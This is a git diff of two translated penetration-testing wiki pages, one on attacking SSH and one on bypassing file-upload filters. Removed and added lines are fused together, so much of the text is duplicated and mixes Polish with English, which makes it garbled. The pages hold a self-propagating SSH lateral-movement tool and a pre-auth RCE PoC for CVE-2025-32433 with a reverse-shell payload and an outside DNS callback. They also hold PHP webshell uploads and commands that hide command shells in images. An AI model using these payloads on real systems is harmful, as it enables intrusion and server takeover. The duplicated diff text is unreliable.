Jeśli chcesz przemieszczać się w sieci, wykorzystując odkryte klucze prywatne SSH na systemach, używając każdego klucza prywatnego na każdym systemie dla nowych hostów, to [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) jest tym, czego potrzebujesz. Jeśli chcesz przemieszczać się po sieci wykorzystując odnalezione prywatne klucze SSH na systemach, używając każdego klucza prywatnego na każdym systemie do łączenia się z nowymi hostami, to [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) jest tym, czego potrzebujesz.
SSH-Snake automatycznie i rekurencyjnie wykonuje następujące zadania: SSH-Snake wykonuje automatycznie i rekurencyjnie następujące zadania:
1. Na bieżącym systemie znajdź wszelkie klucze prywatne SSH, 1. Na bieżącym systemie znajduj wszystkie prywatne klucze SSH,
2. Na bieżącym systemie znajdź wszelkie hosty lub cele (user@host), które mogą akceptować klucze prywatne, 2. Na bieżącym systemie znajdź wszystkie hosty lub destynacje (user@host), gdzie prywatne klucze mogą być akceptowane,
3. Spróbuj połączyć się SSH ze wszystkimi celami, używając wszystkich odkrytych kluczy prywatnych, 3. Spróbuj połączyć się przez SSH ze wszystkimi destynacjami używając wszystkich odnalezionych prywatnych kluczy,
4. Jeśli uda się połączyć z celem, powtórz kroki #1 - #4 na połączonym systemie. 4. Jeśli połączenie z destynacją powiedzie się, powtórz kroki #1 - #4 na połączonym systemie.
Jest całkowicie samoreplikujący się i samopropagujący -- i całkowicie bezplikowy. Jest całkowicie samoreplikujący się i samorozprzestrzeniający — oraz całkowicie bezplikowy.
## Błędy w konfiguracji ## Błędy konfiguracji
### Logowanie jako root ### Logowanie jako root
Jest powszechne, że serwery SSH domyślnie pozwalają na logowanie użytkownika root, co stanowi znaczące ryzyko bezpieczeństwa. **Wyłączenie logowania jako root** jest kluczowym krokiem w zabezpieczaniu serwera. Nieautoryzowany dostęp z uprawnieniami administracyjnymi i ataki brute force można złagodzić, wprowadzając tę zmianę. Często serwery SSH domyślnie pozwalają na logowanie użytkownika root, co stanowi poważne ryzyko bezpieczeństwa. **Wyłączenie logowania jako root** jest krytycznym krokiem w zabezpieczaniu serwera. Nieautoryzowany dostęp z uprawnieniami administracyjnymi oraz ataki brute force można zredukować poprzez wprowadzenie tej zmiany.
**Aby wyłączyć logowanie jako root w OpenSSH:** **Aby wyłączyć logowanie roota w OpenSSH:**
1. **Edytuj plik konfiguracyjny SSH** za pomocą: `sudoedit /etc/ssh/sshd_config` 1. **Edytuj plik konfiguracyjny SSH** poleceniem: `sudoedit /etc/ssh/sshd_config`
2. **Zmień ustawienie** z `#PermitRootLogin yes` na **`PermitRootLogin no`**. 2. **Zmień ustawienie** z `#PermitRootLogin yes` na **`PermitRootLogin no`**.
3. **Przeładuj konfigurację** używając: `sudo systemctl daemon-reload` 3. **Przeładuj konfigurację** używając: `sudo systemctl daemon-reload`
4. **Uruchom ponownie serwer SSH**, aby zastosować zmiany: `sudo systemctl restart sshd` 4. **Zrestartuj serwer SSH**, aby zastosować zmiany: `sudo systemctl restart sshd`
### SFTP Brute Force ### SFTP Brute Force
- [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp) - [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp)
### Wykonywanie poleceń SFTP ### Wykonywanie poleceń przez SFTP
W przypadku konfiguracji SFTP występuje powszechne niedopatrzenie, gdzie administratorzy zamierzają, aby użytkownicy wymieniali pliki bez włączania dostępu do powłoki zdalnej. Pomimo ustawienia użytkowników z powłokami nieinteraktywnymi (np. `/usr/bin/nologin`) i ograniczenia ich do określonego katalogu, pozostaje luka w zabezpieczeniach. **Użytkownicy mogą obejść te ograniczenia**, żądając wykonania polecenia (takiego jak `/bin/bash`) natychmiast po zalogowaniu, zanim ich przypisana powłoka nieinteraktywna przejmie kontrolę. To pozwala na nieautoryzowane wykonywanie poleceń, podważając zamierzone środki bezpieczeństwa. Częstym przeoczeniem w konfiguracjach SFTP jest sytuacja, gdy administratorzy chcą, aby użytkownicy wymieniali pliki bez udostępniania dostępu do zdalnej powłoki. Pomimo ustawienia użytkowników z powłokami nieinteraktywnymi (np. `/usr/bin/nologin`) i ograniczenia ich do określonego katalogu, istnieje luka bezpieczeństwa. **Użytkownicy mogą obejść te ograniczenia** żądając wykonania polecenia (np. `/bin/bash`) zaraz po zalogowaniu, zanim zacznie obowiązywać ich przypisana nieinteraktywna powłoka. To pozwala na nieautoryzowane wykonanie poleceń, podważając zamierzone zabezpieczenia.
[Przykład stąd](https://community.turgensec.com/ssh-hacking-guide/): [Example from here](https://community.turgensec.com/ssh-hacking-guide/):
```bash ```bash
ssh -v noraj@192.168.1.94 id ssh -v noraj@192.168.1.94 id
... ...
@ -233,42 +252,42 @@ PermitTunnel no
X11Forwarding no X11Forwarding no
PermitTTY no PermitTTY no
``` ```
Ta konfiguracja pozwoli tylko na SFTP: wyłączając dostęp do powłoki poprzez wymuszenie polecenia start i wyłączając dostęp TTY, ale także wyłączając wszelkiego rodzaju przekazywanie portów lub tunelowanie. Ta konfiguracja pozwoli jedynie na SFTP: wyłącza dostęp do powłoki przez wymuszenie komendy start i wyłączenie dostępu TTY, a także blokuje wszelkie rodzaje port forwarding oraz tunneling.
### SFTP Tunneling ### SFTP Tunneling
Jeśli masz dostęp do serwera SFTP, możesz również tunelować swój ruch przez to, na przykład używając powszechnego przekazywania portów: Jeśli masz dostęp do serwera SFTP, możesz także tunelować swój ruch przez niego, na przykład używając powszechnego port forwarding:
```bash ```bash
sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised> sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>
``` ```
### SFTP Symlink ### SFTP Symlink
The **sftp** have the command "**symlink**". Therefor, if you have **writable rights** in some folder, you can create **symlinks** of **other folders/files**. As you are probably **trapped** inside a chroot this **won't be specially useful** for you, but, if you can **access** the created **symlink** from a **no-chroot** **service** (for example, if you can access the symlink from the web), you could **open the symlinked files through the web**. Klient **sftp** ma polecenie "**symlink**". Dlatego, jeśli masz **uprawnienia zapisu** w jakimś folderze, możesz tworzyć **symlinks** innych folderów/plików. Ponieważ prawdopodobnie jesteś **uwięziony** w chroot, to **nie będzie to dla Ciebie specjalnie przydatne**, ale jeśli możesz **uzyskać dostęp** do utworzonego **symlink** z **no-chroot** **service** (na przykład, jeśli możesz uzyskać dostęp do symlinka z sieci), możesz **open the symlinked files through the web**.
Na przykład, aby utworzyć **symlink** z nowego pliku **"**_**froot**_**" do "**_**/**_**"**: For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**:
```bash ```bash
sftp> symlink / froot sftp> symlink / froot
``` ```
Jeśli możesz uzyskać dostęp do pliku "_froot_" przez sieć, będziesz mógł wylistować folder główny ("/") systemu. Jeśli możesz uzyskać dostęp do pliku "_froot_" przez web, będziesz mógł wyświetlić zawartość katalogu root ("/") systemu.
### Metody uwierzytelniania ### Metody uwierzytelniania
W środowisku o wysokim poziomie bezpieczeństwa powszechną praktyką jest włączanie tylko uwierzytelniania opartego na kluczach lub uwierzytelniania dwuskładnikowego, zamiast prostego uwierzytelniania opartego na haśle. Jednak często silniejsze metody uwierzytelniania są włączane bez wyłączania słabszych. Częstym przypadkiem jest włączenie `publickey` w konfiguracji openSSH i ustawienie go jako domyślnej metody, ale nie wyłączenie `password`. Używając trybu szczegółowego klienta SSH, atakujący może zobaczyć, że słabsza metoda jest włączona: W środowiskach o wysokim poziomie bezpieczeństwa powszechną praktyką jest włączenie tylko uwierzytelniania opartego na kluczach lub uwierzytelniania dwuskładnikowego zamiast prostego uwierzytelniania opartego na haśle. Często jednak silniejsze metody uwierzytelniania są włączane bez wyłączania słabszych. Częstym przypadkiem jest włączenie `publickey` w konfiguracji openSSH i ustawienie jej jako metody domyślnej, ale nie wyłączenie `password`. Dlatego używając trybu verbose klienta SSH, atakujący może zobaczyć, że słabsza metoda jest włączona:
```bash ```bash
ssh -v 192.168.1.94 ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
... ...
debug1: Authentications that can continue: publickey,password,keyboard-interactive debug1: Authentications that can continue: publickey,password,keyboard-interactive
``` ```
Na przykład, jeśli ustawiony jest limit niepowodzeń uwierzytelniania i nigdy nie masz szansy na dotarcie do metody hasła, możesz użyć opcji `PreferredAuthentications`, aby wymusić użycie tej metody. Na przykład, jeśli ustawiono limit nieudanych uwierzytelnień i nigdy nie dojdziesz do metody password, możesz użyć opcji `PreferredAuthentications`, aby wymusić użycie tej metody.
```bash ```bash
ssh -v 192.168.1.94 -o PreferredAuthentications=password ssh -v 192.168.1.94 -o PreferredAuthentications=password
... ...
debug1: Next authentication method: password debug1: Next authentication method: password
``` ```
Przegląd konfiguracji serwera SSH jest konieczny, aby sprawdzić, czy tylko oczekiwane metody są autoryzowane. Użycie trybu szczegółowego na kliencie może pomóc w ocenie skuteczności konfiguracji. Przegląd konfiguracji serwera SSH jest konieczny, aby upewnić się, że autoryzowane są tylko oczekiwane metody. Użycie trybu verbose po stronie klienta może pomóc zobaczyć skuteczność konfiguracji.
### Config files ### Pliki konfiguracyjne
```bash ```bash
ssh_config ssh_config
sshd_config sshd_config
@ -282,22 +301,22 @@ id_rsa
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt) - [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2) - [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
## Ominięcie maszyny stanów uwierzytelniania (Pre-Auth RCE) ## Authentication State-Machine Bypass (Pre-Auth RCE)
Kilka implementacji serwera SSH zawiera błędy logiczne w **maszynie stanów uwierzytelniania**, które pozwalają klientowi wysyłać *wiadomości protokołu połączenia* **przed** zakończeniem uwierzytelniania. Ponieważ serwer nie weryfikuje, że znajduje się w odpowiednim stanie, te wiadomości są obsługiwane tak, jakby użytkownik był w pełni uwierzytelniony, co prowadzi do **nieautoryzowanego wykonania kodu** lub utworzenia sesji. Wiele implementacji serwerów SSH zawiera błędy logiczne w **authentication finite-state machine**, które pozwalają klientowi wysyłać *connection-protocol* wiadomości **przed** zakończeniem uwierzytelniania. Ponieważ serwer nie weryfikuje, czy znajduje się we właściwym stanie, wiadomości te są obsługiwane tak, jakby użytkownik był w pełni uwierzytelniony, co prowadzi do **nieuwierzytelnionego wykonania kodu** lub utworzenia sesji.
Na poziomie protokołu każda wiadomość SSH z _kodem wiadomości_ **≥ 80** (0x50) należy do warstwy *połączenia* (RFC 4254) i musi być **akceptowana tylko po pomyślnym uwierzytelnieniu** (RFC 4252). Jeśli serwer przetwarza jedną z tych wiadomości, będąc w stanie *SSH_AUTHENTICATION*, atakujący może natychmiast utworzyć kanał i żądać działań, takich jak wykonanie polecenia, przekierowanie portów itp. Na poziomie protokołu każda wiadomość SSH z _message code_ **≥ 80** (0x50) należy do warstwy *connection* (RFC 4254) i powinna być **akceptowana tylko po pomyślnym uwierzytelnieniu** (RFC 4252). Jeśli serwer przetworzy jedną z tych wiadomości będąc nadal w stanie *SSH_AUTHENTICATION*, atakujący może natychmiast utworzyć kanał i zażądać operacji takich jak command execution, port-forwarding, itp.
### Ogólne kroki eksploatacji ### Generic Exploitation Steps
1. Nawiąż połączenie TCP z portem SSH celu (zwykle 22, ale inne usługi mogą udostępniać Erlang/OTP na 2022, 830, 2222…). 1. Nawiąż połączenie TCP z portem SSH celu (zwykle 22, ale inne usługi mogą wystawiać Erlang/OTP na 2022, 830, 2222…).
2. Przygotuj surowy pakiet SSH: 2. Sporządź surowy pakiet SSH:
* 4-bajtowa **długość_pakietu** (big-endian) * 4-byte **packet_length** (big-endian)
* 1-bajtowy **kod_wiadomości** ≥ 80 (np. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98) * 1-byte **message_code** ≥ 80 (e.g. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Ładunek, który będzie zrozumiały dla wybranego typu wiadomości * Payload, który będzie zrozumiały dla wybranego typu wiadomości
3. Wyślij pakiet(y) **przed zakończeniem jakiegokolwiek kroku uwierzytelniania**. 3. Wyślij pakiet(y) **przed ukończeniem jakiegokolwiek kroku uwierzytelniania**.
4. Interakcja z API serwera, które są teraz dostępne _przed uwierzytelnieniem_ (wykonanie polecenia, przekierowanie portów, dostęp do systemu plików, …). 4. Wchodź w interakcję z API serwera, które są teraz dostępne _pre-auth_ (command execution, port forwarding, file-system access, …).
Zarys dowodu koncepcji w Pythonie: Python proof-of-concept outline:
```python ```python
import socket, struct import socket, struct
HOST, PORT = '10.10.10.10', 22 HOST, PORT = '10.10.10.10', 22
@ -309,15 +328,15 @@ pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt) s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands # additional CHANNEL_REQUEST packets can follow to run commands
``` ```
W praktyce będziesz musiał (lub mógł pominąć) wymianę kluczy zgodnie z implementacją celu, ale **żadne uwierzytelnienie** nie jest nigdy przeprowadzane. W praktyce będziesz musiał wykonać (lub pominąć) key-exchange zgodnie z implementacją celu, ale **no authentication** nigdy nie jest wykonywana.
--- ---
### Erlang/OTP `sshd` (CVE-2025-32433) ### Erlang/OTP `sshd` (CVE-2025-32433)
* **Wersje dotknięte:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20 * **Dotknięte wersje:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
* **Przyczyna:** natywny demon SSH Erlanga nie weryfikuje bieżącego stanu przed wywołaniem `ssh_connection:handle_msg/2`. Dlatego każdy pakiet z kodem wiadomości 80-255 dociera do obsługi połączenia, gdy sesja jest nadal w stanie *userauth*. * **Przyczyna:** natywny daemon SSH Erlang nie weryfikuje bieżącego stanu przed wywołaniem `ssh_connection:handle_msg/2`. W związku z tym dowolny pakiet z kodem wiadomości 80-255 trafia do handlera połączenia, podczas gdy sesja nadal znajduje się w stanie *userauth*.
* **Wpływ:** nieautoryzowane **wykonywanie kodu zdalnego** (demon zazwyczaj działa jako **root** na urządzeniach wbudowanych/OT). * **Wpływ:** nieautoryzowane **remote code execution** (daemon zazwyczaj działa jako **root** na urządzeniach embedded/OT).
Przykładowy ładunek, który uruchamia powrotną powłokę powiązaną z kanałem kontrolowanym przez atakującego: Przykładowy payload, który uruchamia reverse shell powiązany z kanałem kontrolowanym przez atakującego:
```erlang ```erlang
% open a channel first … then: % open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}])."). execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
@ -327,21 +346,25 @@ Blind RCE / wykrywanie out-of-band można przeprowadzić za pomocą DNS:
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
``` ```
Wykrywanie i łagodzenie: Wykrywanie i łagodzenie:
* Inspekcja ruchu SSH: **odrzucaj wszelkie pakiety z kodem wiadomości ≥ 80 zaobserwowanym przed uwierzytelnieniem**. * Monitoruj ruch SSH: **odrzucaj każdy pakiet z kodem komunikatu ≥ 80 wykryty przed uwierzytelnieniem**.
* Uaktualnij Erlang/OTP do **27.3.3 / 26.2.5.11 / 25.3.2.20** lub nowszej wersji. * Zaktualizuj Erlang/OTP do **27.3.3 / 26.2.5.11 / 25.3.2.20** lub nowszej.
* Ogranicz ekspozycję portów zarządzania (22/2022/830/2222) szczególnie na sprzęcie OT. * Ogranicz ekspozycję portów zarządzania (22/2022/830/2222) szczególnie na urządzeniach OT.
--- ---
### Inne dotknięte implementacje ### Inne dotknięte implementacje
* **libssh** 0.6 0.8 (strona serwera) **CVE-2018-10933** akceptuje nieautoryzowane `SSH_MSG_USERAUTH_SUCCESS` wysłane przez klienta, co skutkuje odwrotną wadą logiczną. * **libssh** 0.6 0.8 (po stronie serwera) **CVE-2018-10933** akceptuje nieuwierzytelnione `SSH_MSG_USERAUTH_SUCCESS` wysłane przez klienta, w praktyce będąc odwrotnym błędem logiki.
Wspólną lekcją jest to, że jakiekolwiek odchylenie od stanów przejściowych wymaganych przez RFC może być fatalne; podczas przeglądania lub fuzzowania demonów SSH zwróć szczególną uwagę na *egzekwowanie maszyny stanowej*. Wspólna lekcja jest taka, że każde odstępstwo od przejść stanów narzuconych przez RFC może być krytyczne; podczas przeglądu lub fuzzingu daemonów SSH zwróć szczególną uwagę na *egzekwowanie maszyny stanów*.
## Odniesienia
## Źródła
- [Unit 42 Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/) - [Unit 42 Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
- [Przewodniki po twardnieniu SSH](https://www.ssh-audit.com/hardening_guides.html) - [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
- [Przewodnik po hackowaniu SSH Turgensec](https://community.turgensec.com/ssh-hacking-guide) - [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
- [Pentesting Kerberos (88) client setup and troubleshooting](pentesting-kerberos-88/README.md)
- [0xdf HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html)
## Automatyczne polecenia HackTricks ## Automatyczne polecenia HackTricks
``` ```

View File

@ -7,7 +7,7 @@
Inne przydatne rozszerzenia: Inne przydatne rozszerzenia:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_ - **Praca w PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -17,11 +17,11 @@ Inne przydatne rozszerzenia:
### Omijanie kontroli rozszerzeń plików ### Omijanie kontroli rozszerzeń plików
1. Jeśli są stosowane, **sprawdź** **wymienione powyżej rozszerzenia.** Testuj je także używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._ 1. Jeśli stosowane, **sprawdź** poprzednie rozszerzenia. Testuj też je używając **wielkich liter**: _pHp, .pHP5, .PhAr ..._
2. _Sprawdź **dodanie poprawnego rozszerzenia przed** rozszerzeniem wykonawczym (użyj też poprzednich rozszerzeń):_ 2. _Sprawdź **dodanie prawidłowego rozszerzenia przed** rozszerzeniem wykonawczym (użyj też poprzednich rozszerzeń):_
- _file.png.php_ - _file.png.php_
- _file.png.Php5_ - _file.png.Php5_
3. Spróbuj dodać **znaki specjalne na końcu.** Możesz użyć Burp do **bruteforce** wszystkich znaków **ascii** i **Unicode**. (_Uwaga: możesz też spróbować użyć wcześniej wymienionych **rozszerzeń**_) 3. Spróbuj dodać **znaki specjalne na końcu.** Możesz użyć Burp do **bruteforce** wszystkich znaków **ascii** i **Unicode**. (_Uwaga: możesz też spróbować użyć **wcześniej** wspomnianych **rozszerzeń**_)
- _file.php%20_ - _file.php%20_
- _file.php%0a_ - _file.php%0a_
- _file.php%00_ - _file.php%00_
@ -31,7 +31,7 @@ Inne przydatne rozszerzenia:
- _file._ - _file._
- _file.php...._ - _file.php...._
- _file.pHp5...._ - _file.pHp5...._
4. Spróbuj obejść zabezpieczenia **oszukując parser rozszerzeń** po stronie serwera technikami takimi jak **podwajanie** **rozszerzenia** lub **dodawanie śmieciowych** danych (**null bytes**) pomiędzy rozszerzeniami. _Możesz też użyć poprzednich rozszerzeń, aby przygotować lepszy payload._ 4. Spróbuj ominąć zabezpieczenia **oszukując parser rozszerzeń** po stronie serwera technikami takimi jak **podwajanie** **rozszerzenia** lub **dodawanie śmieciowych** danych (bajtów **null**) między rozszerzeniami. _Możesz też użyć **wcześniejszych rozszerzeń** do przygotowania lepszego ładunku._
- _file.png.php_ - _file.png.php_
- _file.png.pHp5_ - _file.png.pHp5_
- _file.php#.png_ - _file.php#.png_
@ -40,13 +40,13 @@ Inne przydatne rozszerzenia:
- _file.php%0a.png_ - _file.php%0a.png_
- _file.php%0d%0a.png_ - _file.php%0d%0a.png_
- _file.phpJunk123png_ - _file.phpJunk123png_
5. Dodaj **kolejną warstwę rozszerzeń** do poprzedniej kontroli: 5. Dodaj **kolejną warstwę rozszerzeń** do poprzedniego sprawdzenia:
- _file.png.jpg.php_ - _file.png.jpg.php_
- _file.php%00.png%00.jpg_ - _file.php%00.png%00.jpg_
6. Spróbuj umieścić **rozszerzenie wykonawcze przed poprawnym rozszerzeniem** i miej nadzieję, że serwer jest błędnie skonfigurowany. (przydatne do eksploatacji błędnych konfiguracji Apache, gdzie wszystko z rozszerzeniem **.php**, ale **niekoniecznie kończące się na .php**, będzie wykonywane): 6. Spróbuj umieścić **rozszerzenie wykonawcze przed prawidłowym rozszerzeniem** i miej nadzieję, że serwer jest źle skonfigurowany. (przydatne do wykorzystania błędnych konfiguracji Apache, gdzie wszystko z rozszerzeniem .php (niekoniecznie kończące się na .php) wykona kod):
- _ex: file.php.png_ - _ex: file.php.png_
7. Użycie **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku po zabronionym rozszerzeniu i przed dozwolonym zostanie wstawiony dwukropek ":". W rezultacie na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. "file.asax:.jpg”). Ten plik może być później edytowany innymi technikami, np. przy użyciu jego krótkiej nazwy. Wzorzec "**::$data**” może też być użyty do tworzenia plików niepustych. Dlatego dodanie kropki po tym wzorcu może być przydatne do obejścia dalszych ograniczeń (np. "file.asp::$data.) 7. Użyj **NTFS alternate data stream (ADS)** w **Windows**. W tym przypadku po zabronionym rozszerzeniu i przed dozwolonym zostanie wstawiony dwukropek ":". W rezultacie na serwerze zostanie utworzony **pusty plik z zabronionym rozszerzeniem** (np. "file.asax:.jpg"). Ten plik może być później edytowany przy użyciu innych technik, takich jak użycie jego short filename. Wzorzec "**::$data**” może też być użyty do tworzenia niepustych plików. Dlatego dodanie kropki po tym wzorcu może być przydatne do obejścia dalszych ograniczeń (np. "file.asp::$data.")
8. Spróbuj złamać limity nazwy pliku. Poprawne rozszerzenie zostaje obcięte, a złośliwe PHP pozostaje. AAA<--SNIP-->AAA.php 8. Spróbuj przełamać limity nazwy pliku. Prawidłowe rozszerzenie zostaje obcięte. Pozostaje złośliwy PHP. AAA<--SNIP-->AAA.php
``` ```
# Linux maximum 255 bytes # Linux maximum 255 bytes
@ -61,11 +61,11 @@ AAA<--SNIP 232 A-->AAA.php.png
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546 #### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) CVE-2024-21546
Niektóre mechanizmy obsługi uploadu obcinają lub normalizują końcowe kropki w zapisywanej nazwie pliku. W UniSharps Laravel Filemanager (unisharp/laravel-filemanager) w wersjach przed 2.9.1 można obejść walidację rozszerzeń przez: Niektóre upload handlery obcinają lub normalizują znaki kropki na końcu nazwy pliku zapisywanej na dysku. W UniSharps Laravel Filemanager (unisharp/laravel-filemanager) w wersjach przed 2.9.1 możesz obejść walidację rozszerzenia przez:
- Użycie poprawnego MIME obrazu i nagłówka magic (np. PNG `\x89PNG\r\n\x1a\n`). - Użycie prawidłowego MIME obrazu i magic header (np. PNGs `\x89PNG\r\n\x1a\n`).
- Nadanie przesyłanemu plikowi nazwy z rozszerzeniem PHP zakończonym kropką, np. `shell.php.`. - Nazwanie przesyłanego pliku rozszerzeniem PHP z kropką na końcu, np. `shell.php.`.
- Serwer usuwa końcową kropkę i zapisuje `shell.php`, który wykona się, jeśli zostanie umieszczony w katalogu udostępnianym przez WWW (domyślnie public storage, np. `/storage/files/`). - Serwer usuwa końcową kropkę i zapisuje `shell.php`, który zostanie wykonany, jeśli zostanie umieszczony w katalogu obsługiwanym przez web (domyczne public storage jak `/storage/files/`).
Minimalny PoC (Burp Repeater): Minimalny PoC (Burp Repeater):
```http ```http
@ -80,55 +80,56 @@ Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?> \x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary-- ------WebKitFormBoundary--
``` ```
Następnie wywołaj zapisaną ścieżkę (typowe dla Laravel + LFM): Następnie odwiedź zapisany path (typowe w Laravel + LFM):
``` ```
GET /storage/files/0xdf.php?cmd=id GET /storage/files/0xdf.php?cmd=id
``` ```
Zabezpieczenia: Mitigations:
- Zaktualizuj unisharp/laravel-filemanager do ≥ 2.9.1. - Zaktualizuj unisharp/laravel-filemanager do ≥ 2.9.1.
- Wymuś rygorystyczne server-side allowlists i ponownie zweryfikuj persisted filename. - Wymuś ścisłe server-side allowlists i ponownie waliduj zapisany filename.
- Serwuj uploads z lokalizacji non-executable. - Serwuj uploads z lokalizacji non-executable.
### Obejście Content-Type, magic number, kompresji i zmiany rozmiaru ### Bypass Content-Type, Magic Number, Compression & Resizing
- Obejdź sprawdzanie **Content-Type**, ustawiając **value** nagłówka **Content-Type** na: _image/png_ , _text/plain , application/octet-stream_ - Bypass **Content-Type** checks przez ustawienie **value** nagłówka **Content-Type** na: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Obejdź sprawdzanie **magic number** przez dodanie na początku pliku **bytes of a real image** (wprowadzając w błąd polecenie _file_). Lub umieść shell w **metadata**:\ - Bypass **magic number** check przez dodanie na początku pliku **bytes of a real image** (w celu zmylenia polecenia _file_). Lub wprowadź shell wewnątrz **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\ `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` lub możesz równi**wprowadzić payload bezpośrednio** do obrazu:\ `\` albo możesz t**wprowadzić payload bezpośrednio** do obrazu:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png` `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Jeśli do obrazu dodawana jest **kompresja**, na przykład przy użyciu standardowych bibliotek PHP takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), poprzednie techniki mogą być wtedy nieskuteczne. Możesz jednak użyć **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**. - Jeśli do twojego obrazu jest dodawana **kompresja**, na przykład używając standardowych bibliotek PHP takich jak [PHP-GD](https://www.php.net/manual/fr/book.image.php), powyższe techniki mogą być bezużyteczne. Jednak możesz użyć **PLTE chunk** [**techniki zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Strona może również **zmieniać rozmiar** obrazu, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Możesz jednak użyć **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**. - Strona web może także **resizing** **image**, używając na przykład funkcji PHP-GD `imagecopyresized` lub `imagecopyresampled`. Jednak możesz użyć **IDAT chunk** [**techniki zdefiniowanej tutaj**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) aby wstawić tekst, który **przetrwa kompresję**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
